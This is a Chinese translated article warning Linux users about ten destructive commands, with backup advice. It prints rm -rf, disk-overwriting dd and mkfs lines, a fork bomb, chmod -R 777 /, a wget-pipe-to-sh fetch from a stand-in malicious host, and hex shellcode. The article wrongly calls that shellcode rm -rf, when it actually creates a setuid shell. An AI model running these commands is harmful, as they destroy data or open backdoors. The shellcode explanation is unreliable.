什么是最危險的 Linux 命令?
有人無數(shù)次問我這個問題,我一直避免回答,因為沒有一個明確的危險的 Linux 命令清單。
你擁有的工具使你能夠控制和修改你的操作系統(tǒng)的每一個方面。我不是想嚇唬你,但如果你不熟悉這些命令和工具,你可以很容易地把你的系統(tǒng)摧毀。
想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應(yīng)允許孩子離開嬰兒床?那會對她的成長造成損害。
這就是父母設(shè)定界限和引導(dǎo)孩子的地方。不要靠近火堆,不要把手指戳到電源插座上……隨著孩子的成長和經(jīng)驗的積累,她可以把爐子打開,在壁爐里生火,插上電源線。
同樣,如果你知道一些已知的風險命令,你可能會避免落入巨魔的陷阱,他們試圖欺騙你運行命令,擾亂你的系統(tǒng)。
當你積累了經(jīng)驗,知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統(tǒng)的機會就會減少。
我的同事 Sreenath 收集了一些流行的危險 Linux 命令。讓我們看看它們是如何干掉你的 Linux 系統(tǒng)的。
免責警告:如果你不清楚你在做什么,請勿嘗試本文提及的這些命令,否則后果自負。
1、rm -rf /*
這個可能是在各種社交媒體上盤旋的最臭名昭著的命令。你會經(jīng)常發(fā)現(xiàn)巨魔們在各種討論中提及這個。
rm 命令用來刪除文件/目錄。標志-r和-f表示遞歸地刪除指定目錄內(nèi)的所有文件。現(xiàn)在,如果沒有 root 權(quán)限,這個命令不會造成任何傷害。
運行sudo rm -rf / itsfoss.com命令也不會產(chǎn)生任何問題,因為大多數(shù)發(fā)行版提供了一個故障安全選項。你需要指定--no-preserve-root才能實際運行它。
sudo rm -rf / --no-preserve-root
然而,一個更簡單的版本可以是這樣的:
sudo rm -rf /*
它將開始遞歸地刪除根目錄下的所有文件,在一段時間后,你的系統(tǒng)會凍結(jié),并顯示“刪除文件錯誤”。一旦重新啟動,你將被送到grub-rescue提示符下。
2、覆蓋你的分區(qū)
如果你熟悉文件系統(tǒng),你可能知道/dev/sda是什么。它(通常)是你的磁盤驅(qū)動器分區(qū)。>操作符用于將其前面的命令的輸出寫到所提供的指定位置。
一旦你運行任何命令并把它寫到/dev/sda,比如說:
echo "Hello" > /dev/sda
這將用Hello字符串替換你的包含啟動系統(tǒng)所需的所有數(shù)據(jù)的分區(qū)。
3、把所有的東西都移到黑洞
每個 Linux 系統(tǒng)內(nèi)都有一個黑洞。而這個黑洞就是/dev/null。
無論你把什么東西扔進這個區(qū)域都會永遠丟失。而且,它在丟棄數(shù)據(jù)后會將寫入過程報告為成功,這是其破壞性的主要原因。
mv /home/user/* /dev/null
mv 命令 linuxhandbook.com用來移動或重命名文件/目錄。在上面的命令中,你把家目錄內(nèi)的所有文件都移到了黑洞中。雖然根系統(tǒng)沒有被破壞,但你所有的個人數(shù)據(jù)都會丟失。
4、格式化你的硬盤
mkfs linuxhandbook.com是一個命令行工具,用于格式化磁盤和分區(qū)。它是一個超級方便的工具,可以為安裝的操作系統(tǒng)創(chuàng)建分區(qū)。但同樣的命令也可以格式化你的硬盤。格式化你的驅(qū)動器意味著刪除系統(tǒng)啟動所需的所有文件。
mkfs.ext3 /dev/sda
這個命令完成了它的工作,而你最終得到了一個無法恢復(fù)的混亂的系統(tǒng)。
5、fork 炸彈
這個看起來很可愛的特殊字符和符號的隨機組合,足以通過耗盡系統(tǒng)資源來凍結(jié)一個正在運行的系統(tǒng)。
:(){ :|:& };:
&- Shell 后臺操作符。它通知 Shell 將命令放在后臺。在這里,它定義了一個叫做:的函數(shù),它調(diào)用自己兩次,一次在前臺,一次在后臺。這個過程不斷地重復(fù)執(zhí)行,直到系統(tǒng)凍結(jié)。
顧名思義,它自己分叉,最終成為一個連鎖炸彈,吃掉了所有的系統(tǒng)資源。你將被迫重啟系統(tǒng),這并不像本列表中的其他命令那樣糟糕。
6、覆蓋重要的配置文件
雖然這本身不是一個命令,但它更像是一個預(yù)防性的東西。
如上所述,>操作符是用來向文件寫入的。它丟棄文件中已經(jīng)存在的東西,并將提供的新數(shù)據(jù)寫入文件中。
command > config_filename
現(xiàn)在,如果你將一些重要的配置文件作為寫數(shù)據(jù)的地方,它將被取代內(nèi)容,留下一個損壞的系統(tǒng)。
7、用垃圾數(shù)據(jù)替換分區(qū)
/dev/random是 Linux 中的一個命令,它可以創(chuàng)建垃圾數(shù)據(jù)。把它和dd 命令 linuxhandbook.com以及你的分區(qū)結(jié)合起來,你就得到了一個可以讓你的分區(qū)著火的燃燒彈。
dd if=/dev/random of=/dev/sda
dd 命令被用作一個低級別的復(fù)制工具。這里,它從/dev/random中獲取隨機數(shù)據(jù),并用這些垃圾替換/dev/sda分區(qū)。
一個類似的效果是通過以下方式獲得的:
cat /dev/urandom > filename
這里,它從/dev/urandom(LCTT 譯注:在 Linux 上,/dev/urandom現(xiàn)在和/dev/random的等價的 )中獲取垃圾數(shù)據(jù)并填入一個文件。如果不使用Ctrl + C終止,該文件會占據(jù)相當大的空間,這對低端系統(tǒng)來說可能是災(zāi)難性的。
8、將你的系統(tǒng)暴露給所有人
在 Linux 中,所有東西都是文件,每個文件都有一定的權(quán)限 linuxhandbook.com。
你可以用 ls -l 查看權(quán)限。根文件系統(tǒng)是不允許其他沒有權(quán)限的用戶訪問的。雖然這保證了系統(tǒng)的私密性和安全性,但你可以用一個命令顛覆這個系統(tǒng)。
chmod -R 777 /
上述命令將根分區(qū)上的所有文件暴露給所有人。這意味著每個使用該系統(tǒng)的人都有讀、寫和執(zhí)行的權(quán)限。這對你的系統(tǒng)是不利的。
9、下載并運行惡意的內(nèi)容
你如何在 Linux 中安裝軟件?你可以使用官方的軟件包管理器或隨時可以使用的軟件包,如 Deb/RPM、Snap、Flatpak 等。
然而,有些軟件是沒有打包的,它們的開發(fā)者提供了下載和運行的 Shell 腳本。以Homebrew itsfoss.com為例:
你下載一個 Shell 文件,然后以 root 身份運行它,在你的系統(tǒng)中安裝一個軟件。你看出問題了嗎?
雖然它對 Homebrew 這樣的官方軟件有效,但在你像下面這樣直接運行它之前,你應(yīng)該仔細檢查你所下載的 Shell 腳本的內(nèi)容:
wget http://malicious_source -O- | sh
這樣的命令會在你的系統(tǒng)中下載并運行惡意腳本,這可能會破壞你的系統(tǒng)的安全性。
10、偽裝的命令
在 Linux 終端中,有許多方法可以運行命令。其中一種方式是十六進制編碼的命令:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
雖然它看起來很花哨,但這是 rm -rf 命令的一個編碼版本。它的效果與運行前面的命令相同。因此,在從互聯(lián)網(wǎng)上復(fù)制和粘貼這些花哨的命令時,要小心謹慎。
總結(jié)
pebkac
有一個著名的計算機術(shù)語 PEBKAC:“問題存在于鍵盤和椅子之間(problem exists between keyboard and chair)”。
因為歸根結(jié)底,還是要靠用戶(你)來保證你不會因為盲目地運行任何危險的命令而破壞系統(tǒng)。
UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么 UNIX 的工作就是以它所知道的最有效的方式將石頭砸到腳上。
而這句話同樣適用于 Linux。你可以完全控制你的操作系統(tǒng)。你選擇做什么,完全取決于你。
我建議做這些事情以確保更安全的體驗。
?嘗試并理解你將要運行的命令。 ?用 Timeshift 保持你的系統(tǒng)設(shè)置的備份 ?用 DejaDup 保持個人數(shù)據(jù)(主目錄)的備份
正如我所說,沒有固定的危險 Linux 命令清單。還有很多可以添加到這個列表中,而且根本沒有盡頭。
我希望這能給你一些提示,告訴你為了保持 Linux 的安全,你不應(yīng)該做什么。如果你有建議,請在評論區(qū)告訴我。
-
驅(qū)動器
+關(guān)注
關(guān)注
54文章
8636瀏覽量
149097 -
Linux
+關(guān)注
關(guān)注
87文章
11465瀏覽量
212815 -
電源線
+關(guān)注
關(guān)注
1文章
377瀏覽量
22471
原文標題:10 大可以摧毀你的 Linux 的命令
文章出處:【微信號:良許Linux,微信公眾號:良許Linux】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
評論